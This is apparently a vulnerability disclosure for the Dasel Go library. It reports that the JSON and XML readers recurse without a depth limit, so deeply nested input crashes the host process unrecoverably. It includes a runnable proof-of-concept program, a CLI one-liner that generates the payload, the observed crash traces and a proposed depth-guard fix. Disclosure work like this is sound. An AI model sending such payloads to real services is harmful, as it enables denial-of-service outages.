Dasel: Unbounded recursion in JSON and XML readers causes unrecoverable stack-overflow DoS

Precedent in this codebase

DoS hardening on the readers is already an accepted concern here, which is why this is a gap rather than a design choice: the XML reader has the maxXMLSize cap, and the YAML reader already implements exactly the fix needed, parsing/yaml/yaml_reader.go:31,90-93 returns ErrYamlExpansionDepthExceeded once expansionDepth > maxExpansionDepth. The JSON and XML readers simply lack the equivalent depth guard.

Proof of Concept

Single runnable program, public API only (poc/main.go, module wired to a local clone via replace):

package main

import (
	"fmt"; "os"; "strings"
	"github.com/tomwright/dasel/v3/parsing"
	_ "github.com/tomwright/dasel/v3/parsing/json"
	_ "github.com/tomwright/dasel/v3/parsing/xml"
)

func main() {
	mode := "json"; if len(os.Args) > 1 { mode = os.Args[1] }
	depth := 6_000_000; if mode == "xml" { depth = 3_200_000 }

	var data []byte
	if mode == "xml" {
		data = []byte(strings.Repeat("<a>", depth))          // ~9.6MB, under the 10MB cap
	} else {
		data = []byte(strings.Repeat("[", depth) + strings.Repeat("]", depth)) // ~12MB
	}

	defer func() { if r := recover(); r != nil { fmt.Println("recovered (NOT fatal):", r) } }()
	r, _ := parsing.Format(mode).NewReader(parsing.DefaultReaderOptions())
	v, err := r.Read(data)
	fmt.Printf("Read returned WITHOUT crash: v=%v err=%v\n", v != nil, err)
}

go run . json    # nested arrays -> fatal error: stack overflow ; ~85 decodeArray frames
go run . xml     # nested <a>    -> fatal error: stack overflow ; ~93 parseElement frames

Observed (Go 1.26, default 1 GB goroutine stack):

• json depth 6 M (12 MB): runtime: goroutine stack exceeds 1000000000-byte limit → fatal error: stack overflow; backtrace dominated by json.(*jsonReader).decodeArray. depth 2 M completes (~0.83 s), confirming it is depth-driven, not a parse error.
• xml depth 3.2 M (9.6 MB, under the 10 MB maxXMLSize cap): same fatal overflow; backtrace is an unbroken chain of xml.(*xmlReader).parseElement at reader.go:211.
• The deferred recover() never fires in either case — the process exits.
• CLI equivalents: printf '<a>%.0s' {1..3200000} | dasel -r xml.

Impact

An attacker who controls JSON or XML passed to dasel — via the library Read API, the CLI, or the parse('json'|'xml', …) selector function — crashes the host process with a single small document. Because the failure is a Go fatal error rather than a recoverable panic, a consumer that wraps parsing in defer/recover is still taken down: the whole process terminates, killing every in-flight goroutine, not just the parse. Availability only — no confidentiality or integrity impact. For a library consumer feeding network-sourced data to Read, this is a remotely triggerable, unrecoverable DoS.

Suggested Fix

Add a recursion-depth guard to both readers, mirroring the YAML reader's existing maxExpansionDepth / ErrYamlExpansionDepthExceeded pattern:

• JSON — thread a depth int through decodeValue/decodeObject/decodeArray, increment on descent, return ErrJSONMaxDepthExceeded past a conservative bound (e.g. 10 000). Optionally add a maxJSONSize cap matching maxXMLSize for parity.
• XML — add a maxXMLDepth constant to the existing Security limits block and thread a depth through parseElement, returning a normal error past the bound.

Both return a clean error for pathological input instead of crashing the process, consistent with how the comment-count, size, and YAML-expansion limits already behave. A limit in the low thousands preserves all realistic legitimate documents.